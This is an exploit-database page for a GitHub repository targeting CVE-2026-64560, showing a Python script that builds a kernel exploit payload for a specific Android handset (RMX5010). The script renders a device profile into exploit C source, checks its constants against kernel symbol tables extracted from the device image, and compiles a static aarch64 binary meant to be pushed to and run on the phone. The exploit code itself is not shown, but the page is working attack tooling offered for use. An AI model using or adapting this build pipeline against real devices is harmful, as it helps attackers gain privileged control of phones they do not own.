Exploit databaseDownload repository ZIP
GH-3e69e2c88abcb252c1d84d1c127cacee
totsiaw/cve-2026-64560-rmx6699
Sources for CVE-2026-64560
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files12
totsiaw/cve-2026-64560-rmx6699Revision ee1d1eefe29b
- ↑..Parent directory
- bionic_compat.c
- bionic_compat.h
- btf_offsets.py
- build-a16.py
- ci-build-payloads.sh
- derive_profile.py
- golden.sha256
- kallsyms_extract.py
- ksym.py
- mk_profile.py
- patch_a16.py
- port_target.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/build-a16.py
Python · 6,787 bytes#!/usr/bin/env python3
"""One-shot rebuild of the RMX5010 / A16 fan-out payload.
python3 tools/build-a16.py # patch + compile
python3 tools/build-a16.py --no-build # patch only
python3 tools/build-a16.py --preflight # then run the built binary --preflight
python3 tools/build-a16.py --cc clang # pick a compiler
Pipeline
1. tools/port_target.py --profile profiles/rmx5010/rmx5010-40850e5ff6a5.json
renders the target profile into the device-specific
source -> src/exploit-fanout-rmx5010.c
2. tools/patch_a16.py verifies every constant of that source against
symbols/symbols_rmx5010_a16.json (the kallsyms table
taken from the kernel Image), then applies the two
adaptations musl/this device need
-> build/rmx5010-a16/exploit-rmx5010-a16.c
3. compile it together with tools/bionic_compat.c into a *static* aarch64
binary: build/rmx5010-a16/cve-2026-64560-fanout
No NDK and no Android toolchain are needed: the source only uses bionic's
__system_property_get(), which tools/bionic_compat.c replaces with a
fork/exec of /system/bin/getprop. Everything else is POSIX + raw syscalls, so
a musl or glibc aarch64 gcc produces a binary the device will run as-is.
"""
import argparse
import hashlib
import os
import shutil
import struct
import subprocess
import sys
from pathlib import Path
HERE = Path(__file__).resolve().parent
REPO = HERE.parent
BUILD = REPO / 'build' / 'rmx5010-a16'
PROFILE = REPO / 'profiles' / 'rmx5010' / 'rmx5010-40850e5ff6a5.json'
RENDERED = REPO / 'src' / 'exploit-fanout-rmx5010.c'
PATCHED = BUILD / 'exploit-rmx5010-a16.c'
OUTPUT = BUILD / 'cve-2026-64560-fanout'
COMPAT = HERE / 'bionic_compat.c'
HEADER = HERE / 'bionic_compat.h'
PATCHER = HERE / 'patch_a16.py'
CFLAGS = ['-O2', '-static', '-pthread', '-s']
CANDIDATES = ['aarch64-linux-gnu-gcc', 'gcc', 'cc', 'clang']
def log(msg):
print(f'[build-a16] {msg}')
def pick_cc(explicit):
if explicit:
path = shutil.which(explicit)
if not path:
raise SystemExit(f'compiler not found: {explicit}')
return path
env = os.environ.get('CC')
if env and shutil.which(env):
return shutil.which(env)
for name in CANDIDATES:
path = shutil.which(name)
if path:
return path
raise SystemExit('no C compiler found (looked for: ' + ', '.join(CANDIDATES) +
'). Install gcc/clang, or use the prebuilt\n'
' bin/cve-2026-64560-fanout-rmx5010-a16')
def run(cmd, **kw):
log('$ ' + ' '.join(str(c) for c in cmd))
return subprocess.run([str(c) for c in cmd], **kw)
def render():
"""profile -> src/exploit-fanout-rmx5010.c, using the upstream porting tool."""
porter = HERE / 'port_target.py'
for needed in (porter, PROFILE):
if not needed.is_file():
raise SystemExit(f'missing file: {needed}')
rc = run([sys.executable, porter, '--profile', PROFILE], cwd=REPO).returncode
if rc or not RENDERED.is_file():
return rc or 1
log(f'rendered {RENDERED.relative_to(REPO)} ({RENDERED.stat().st_size} bytes)')
return 0
def patch():
for needed in (PATCHER, COMPAT, HEADER):
if not needed.is_file():
raise SystemExit(f'missing file: {needed}')
return run([sys.executable, PATCHER], cwd=REPO).returncode
def compile_with(cc):
cmd = [cc] + CFLAGS + ['-I', HERE, '-o', OUTPUT, PATCHED, COMPAT]
return run(cmd, cwd=REPO).returncode
def describe_elf(path):
"""Return (machine, etype, dynamic?) without needing the `file` tool."""
data = path.read_bytes()
if data[:4] != b'\x7fELF':
return None
is64, little = data[4] == 2, data[5] == 1
etype = struct.unpack('<H' if little else '>H', data[16:18])[0]
machine = struct.unpack('<H' if little else '>H', data[18:20])[0]
names = {0x3e: 'x86-64', 0xb7: 'AArch64', 0x28: 'ARM'}
types = {2: 'EXEC', 3: 'DYN'}
# walk the program headers looking for PT_INTERP (3) / PT_DYNAMIC (2)
phoff = struct.unpack('<Q' if little else '>Q', data[32:40])[0]
phentsize = struct.unpack('<H' if little else '>H', data[54:56])[0]
phnum = struct.unpack('<H' if little else '>H', data[56:58])[0]
has = set()
for i in range(phnum):
off = phoff + i * phentsize
has.add(struct.unpack('<I' if little else '>I', data[off:off + 4])[0])
return {
'bits': 64 if is64 else 32,
'machine': names.get(machine, hex(machine)),
'type': types.get(etype, hex(etype)),
'interp': 3 in has,
'dynamic': 2 in has,
}
def verify():
if not OUTPUT.is_file():
raise SystemExit(f'build produced no file: {OUTPUT}')
info = describe_elf(OUTPUT)
if not info:
raise SystemExit(f'not an ELF file: {OUTPUT}')
size = OUTPUT.stat().st_size
digest = hashlib.sha256(OUTPUT.read_bytes()).hexdigest()
log(f'{OUTPUT} {size} bytes sha256={digest}')
log(f'ELF{info["bits"]} {info["machine"]} {info["type"]} '
f'PT_INTERP={info["interp"]} PT_DYNAMIC={info["dynamic"]}')
if info['machine'] != 'AArch64':
log('WARNING: not an aarch64 binary -- the device will not run it')
if info['interp'] or info['dynamic']:
log('WARNING: not fully static -- the device has no matching loader, '
'push it anyway and check with `ldd`/run')
return digest
def main():
ap = argparse.ArgumentParser(description='rebuild the RMX5010/A16 payload',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__.split('Pipeline')[1] if 'Pipeline' in __doc__ else None)
ap.add_argument('--cc', help='compiler to use (default: $CC, then aarch64-linux-gnu-gcc/gcc/cc/clang)')
ap.add_argument('--no-build', action='store_true', help='run the patcher only')
ap.add_argument('--preflight', action='store_true', help='run the built binary --preflight')
args = ap.parse_args()
if render() != 0:
raise SystemExit('port_target.py failed (profile -> source)')
if patch() != 0:
raise SystemExit('patcher failed')
if args.no_build:
log(f'patched source: {PATCHED}')
return 0
cc = pick_cc(args.cc)
log(f'compiler: {cc}')
if compile_with(cc) != 0:
raise SystemExit('compile failed (see the compiler output above)')
verify()
if args.preflight:
log('running --preflight (read-only; safe on a host)')
subprocess.run([str(OUTPUT), '--preflight'])
return 0
if __name__ == '__main__':
sys.exit(main())